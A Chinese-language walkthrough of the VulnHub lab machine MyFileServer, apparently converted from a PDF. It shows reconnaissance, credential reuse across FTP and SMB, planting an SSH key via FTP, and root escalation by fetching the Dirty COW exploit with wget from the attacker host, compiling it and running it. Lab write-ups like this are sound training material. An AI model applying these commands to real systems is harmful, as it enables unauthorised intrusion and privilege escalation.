因为是从PDF转换过来偶尔可能会出现内容缺少,可以看原版PDF:有道云笔记

实验环境

Kali:192.168.10.102

MyFileServer:192.168.10.106

实验过程

通过arp-scan来发现靶机的IP地址

sudo arp-scan --interface eth0 192.168.10.1/24

【VulnHub系列】MyFileServer_TCP

用namp来扫描靶机的TCP端口和UDP端口开放情况

# --min-rate:发包的最小速率# -sT,-sU:采用TCP、UDP扫描
# --top-ports [number]:扫描常用的端口
sudo nmap -sT --min-rate 10000 -p- 192.168.10.106 -oA nmap_result/ports

sudo nmap -sU --top-ports 20 192.168.10.106 -oA nmap_result/udp

【VulnHub系列】MyFileServer_TCP_02

 对扫出来的TCP端口进行做详细的扫描,对刚刚的扫描报告内容进行提取

# grep 抓取包含Open字样行的内容
# awk -F '/' :-F是分隔符,通过/来进行划分打印输出分组1的内容即端口号
# paste -sd ',':-s 表示串行合并,-d ','表示用,进行分割
grep open nmap_result/ports.nmap | awk -F '/' '{print $1}'| paste -sd ','

【VulnHub系列】MyFileServer_bash_03

对这些TCP端口进行常规的漏洞扫描以及详细信息扫描

【VulnHub系列】MyFileServer_上传_04

 

【VulnHub系列】MyFileServer_bash_05

过扫描结果可以看到ftp可以进行匿名登陆

 

【VulnHub系列】MyFileServer_Vulnhub_06

登陆FTP搜集可用信息

【VulnHub系列】MyFileServer_网络安全_07

ftp> binary

 

【VulnHub系列】MyFileServer_网络安全_08

尝试下载发现很多文件都无法下载,下载来的cron里面也没什么有用的信息

还有一个2121端口也是ftp也登陆看看有没有有用的信息

【VulnHub系列】MyFileServer_Vulnhub_09

依旧是权限不足无法下载

【VulnHub系列】MyFileServer_Vulnhub_10

【VulnHub系列】MyFileServer_上传_11

手动尝试下常见的文件

http://192.168.10.106/readme.txt http://192.168.10.106/robots.txt

【VulnHub系列】MyFileServer_TCP_12

得到密码:rootroot1,但是账号不知道

【VulnHub系列】MyFileServer_bash_13

用gobuster来遍历下目录

gobuster dir -u http://192.168.10.106/ -x txt,rar,zip,tar,sql,php -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

【VulnHub系列】MyFileServer_网络安全_14

gobuster也没扫出什么有用的信息

靶机还开放了smb服务,尝试从smb中寻找突破口

smbmap -H 192.168.10.106

可以看到其中的smbdata有可读可写的权限

【VulnHub系列】MyFileServer_Vulnhub_15

根据我们之前发现的信息,尝试 账号:smbdata 密码:rootroot1 可以成功登陆

sudo smbclient //192.168.10.106/smbdata

 

【VulnHub系列】MyFileServer_Vulnhub_16

分别下载了 messages、secure、sshd_config messages中没有什么可用信息

sshd_config中发现靶机仅仅支持证书登陆,不允许密码登陆

【VulnHub系列】MyFileServer_上传_17

 

【VulnHub系列】MyFileServer_Vulnhub_18

现在我们有2个账号2个密码

账号:smbdata、smbuser
密码:rootroot1,chauthtok

尝试smbuser:chauthtok登陆ftp发现错误

尝试ftp碰撞发现smbuser:rootroot1也可以登陆ftp

【VulnHub系列】MyFileServer_bash_19

发现smbuser的ftp目录是家目录

【VulnHub系列】MyFileServer_Vulnhub_20

结合之前ssh_config的配置信息,我们可以上传自己的一个证书来达到通过smbuser来登陆ssh

sudo ssh-keygen

在kali上生成一个证书

【VulnHub系列】MyFileServer_Vulnhub_21

然后通过ftp将公钥证书上传上去

【VulnHub系列】MyFileServer_上传_22

 然后ssh通过证书登陆smbuser

# -i:证书私钥
sudo ssh -i dfz smbuser@192.168.10.106

【VulnHub系列】MyFileServer_TCP_23

查看下 smbuser的sudo权限

smbuser:rootroot1

 

【VulnHub系列】MyFileServer_TCP_24

找下拥有SUID的文件(PS:SUID文件是当文件运行时,会以文件拥有者的权限运行而不是当前用户的权限, 要给一个文件设置SUID可以通过 chmod u+s filename设置)

# -perm:以文件权限来查找文件
find / -perm -u=s -type f 2>/dev/null

查看下有没有定时任务

【VulnHub系列】MyFileServer_网络安全_25

查看内核版本

【VulnHub系列】MyFileServer_上传_26

通过上面的信息发现并没有什么可用的信息,但是系统的内核版本比较低可以尝试使用脏牛进行提权尝试用systemd-run打开一个shell,发现失败

# systemd-run是一个用于在systemd管理的用户空间中启动进程的工具。-t选项表示在启动的进程中分配一个tty,/bin/bash是要启动的进程。
systemd-run -t /bin/bash

 

【VulnHub系列】MyFileServer_网络安全_27

完善下shell

export TERM=xterm

通过searchsploit查询可用的提权EXP

searchsploit kernel 3.10 Privilege Escalation

【VulnHub系列】MyFileServer_网络安全_28

尝试下42887.c

searchsploit -m 42887.c

缺少rootshell.h,换个exp尝试

【VulnHub系列】MyFileServer_bash_29

尝试下15962.c

【VulnHub系列】MyFileServer_bash_30

试33516.c,发现可以成功生成

【VulnHub系列】MyFileServer_TCP_31

通过php开启临时http服务,然后靶机用wget下载,但是运行报错

【VulnHub系列】MyFileServer_bash_32

这里尝试使用linpeas.sh(https://github.com/carlospolop/PEASS- ng/releases/latest/download/linpeas.sh)来给我们提权提供建议

同样的方式下载到靶机

 

【VulnHub系列】MyFileServer_上传_33

因为输出的内容过多,我们通过more命令来进行逐页查看

./linpeas.sh | more

【VulnHub系列】MyFileServer_上传_34

根据信息可以看出CVE-2016-5195和CVE-2016-5195可能性最高,我们就尝试这2个EXP CVE-2016-5195失败

【VulnHub系列】MyFileServer_网络安全_35

CVE-2016-5195失败

【VulnHub系列】MyFileServer_bash_36

到网上查询了别人是用40616成功提权的

searchsploit dirty cow

【VulnHub系列】MyFileServer_bash_37

然后还是在Kali中编译好上传到靶机

【VulnHub系列】MyFileServer_Vulnhub_38

但是在靶机上运行还是有问题

【VulnHub系列】MyFileServer_网络安全_39

后来才明白要在靶机上进行编译然后运行才能提权成功(算踩了一次坑吧)

wget http://192.168.10.102:8081/40616.c gcc 40616.c -o 40616 -pthread
chmod +x 40616
./40616

 

【VulnHub系列】MyFileServer_TCP_40

 

【VulnHub系列】MyFileServer_Vulnhub_41